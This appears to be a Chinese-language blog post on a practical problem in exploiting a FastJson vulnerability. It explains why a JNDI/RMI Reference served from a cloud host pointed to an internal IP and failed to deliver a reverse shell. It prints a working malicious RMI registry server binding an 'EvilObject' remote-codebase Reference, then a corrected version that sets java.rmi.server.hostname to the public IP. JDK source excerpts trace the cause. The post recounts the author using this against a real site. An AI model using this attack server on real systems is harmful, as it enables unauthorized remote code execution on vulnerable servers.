概要 去年我salt大哥带我搞一个存在FastJson漏洞站的时候, 在ECS上启动rmi后,使用Reference 加载远程codebase代码库的方法, 但是一直没能成功执行命令。 最后才了解到需要修改掉/etc/hostname文件为公网ip地址才能够正常利用, 在修改掉/etc/hostname为公网ip后,成功弹回来了shell。
失败原因 当时使用的启动rmi服务的java代码。 RMIService.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;public class RMIService { public static void main (String args[]) throws Exception { Registry registry = LocateRegistry.createRegistry(1099 ); Reference refObj = new Reference("EvilObject" , "EvilObject" , "http://127.0.0.1:8000/" ); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'" ); registry.bind("refObj" , refObjWrapper); } }
绑定到registry中的ReferenceWrapper, 绑定的其实是ReferenceWrapper_Stub 在与registry 1099端口协商完成之后, 最后都会访问到ReferenceWrapper_Stub上。
启动RMI后, 用nmap扫描可以发现, ReferenceWrapper_Stub引用到了一个内网ip中。
在客户端从RMI中获取到ReferenceWrapper_Stub后, 经过this.decode还原成ReferenceWrapper, 然后尝试去加载这个引用, 但是因为内网ip的原因直接加载失败。 这个内网ip是ECS的内网ip, 在客户端这边肯定就加载失败了。
RMI ReferenceWrapper_Stub 在实例化ReferenceWrapper时,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 String var7 = resampleLocalHost(); if (var6 == null ) { var3 = new TCPEndpoint(var7, var0, var1, var2); var6 = new LinkedList(); var6.add(var3); var3.listenPort = var0; var3.transport = new TCPTransport(var6); localEndpoints.put(var5, var6); if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) { TCPTransport.tcpLog.log(Log.BRIEF, "created local endpoint for socket factory " + var2 + " on port " + var0); } } else { synchronized (var6) { var3 = (TCPEndpoint)var6.getLast(); String var9 = var3.host; int var10 = var3.port; TCPTransport var11 = var3.transport; if (var7 != null && !var7.equals(var9)) { if (var10 != 0 ) { var6.clear(); } var3 = new TCPEndpoint(var7, var10, var1, var2); var3.listenPort = var0; var3.transport = var11; var6.add(var3); } } }
通过resampleLocalHost来获取 Reference 要引用到的ip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private static String resampleLocalHost () { String var0 = getHostnameProperty(); Map var1 = localEndpoints; synchronized (localEndpoints) { if (var0 != null ) { if (!localHostKnown) { setLocalHost(var0); } else if (!var0.equals(localHost)) { localHost = var0; if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) { TCPTransport.tcpLog.log(Log.BRIEF, "updated local hostname to: " + localHost); } } } return localHost; } }
首先尝试使用getHostnameProperty来获取ip
1 2 3 4 private static String getHostnameProperty () { return (String)AccessController.doPrivileged(new GetPropertyAction("java.rmi.server.hostname" )); }
但是这里由于我们的RMIService没有设置java.rmi.server.hostname所以这里返回null。 当从getHostnameProperty获取ip失败时, 直接返回localhost属性。
localhost属性在静态方法中被设置。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 static { if (localHost == null ) { try { InetAddress var0 = InetAddress.getLocalHost(); byte [] var1 = var0.getAddress(); if (var1[0 ] == 127 && var1[1 ] == 0 && var1[2 ] == 0 && var1[3 ] == 1 ) { localHostKnown = false ; } if (getBoolean("java.rmi.server.useLocalHostName" )) { localHost = TCPEndpoint.FQDN.attemptFQDN(var0); } else { localHost = var0.getHostAddress(); } } catch (Exception var2) { localHostKnown = false ; localHost = null ; } } if (TCPTransport.tcpLog.isLoggable(Log.BRIEF)) { TCPTransport.tcpLog.log(Log.BRIEF, "localHostKnown = " + localHostKnown + ", localHost = " + localHost); } localEndpoints = new HashMap(); }
这里使用了InetAddress.getLocalHost()来获取ip
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 public static InetAddress getLocalHost () throws UnknownHostException { SecurityManager security = System.getSecurityManager(); try { String local = impl.getLocalHostName(); if (security != null ) { security.checkConnect(local, -1 ); } if (local.equals("localhost" )) { return impl.loopbackAddress(); } InetAddress ret = null ; synchronized (cacheLock) { long now = System.currentTimeMillis(); if (cachedLocalHost != null ) { if ((now - cacheTime) < maxCacheTime) ret = cachedLocalHost; else cachedLocalHost = null ; } if (ret == null ) { InetAddress[] localAddrs; try { localAddrs = InetAddress.getAddressesFromNameService(local, null ); } catch (UnknownHostException uhe) { UnknownHostException uhe2 = new UnknownHostException(local + ": " + uhe.getMessage()); uhe2.initCause(uhe); throw uhe2; } cachedLocalHost = localAddrs[0 ]; cacheTime = now; ret = localAddrs[0 ]; } } return ret; } catch (java.lang.SecurityException e) { return impl.loopbackAddress(); } }
所以Reference的ip就成了ECS的内网ip。这里只要把Reference引用到ECS的公网ip上 就能成功利用了。 所以可以通过修改/etc/hostname为公网ip来成功利用, 但是修改/etc/hostname后得重启才能生效, 更好的方法是通过hostname 公网ip
命令 来实现不重启修改hostname(其实也就是修改/proc/sys/kernel/hostname文件内容)。
从上面也可以看出, 如果设置了java.rmi.server.hostname属性之后, 该属性值就会覆盖掉静态方法所设置的localhost属性。 所以在启动rmi的时候 设置java.rmi.server.hostname属性为公网ip即可。
RMIService.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.Registry;import java.rmi.registry.LocateRegistry;public class RMIService { public static void main (String args[]) throws Exception { System.setProperty("java.rmi.server.hostname" , "你的公网ip" ); Registry registry = LocateRegistry.createRegistry(1099 ); Reference refObj = new Reference("EvilObject" , "EvilObject" , "http://127.0.0.1:8000/" ); ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); System.out.println("Binding 'refObjWrapper' to 'rmi://127.0.0.1:1099/refObj'" ); registry.bind("refObj" , refObjWrapper); } }
再用nmap扫描, 就能够发现已经变为公网ip了。
References https://docs.oracle.com/javase/7/docs/platform/rmi/spec/rmiTOC.html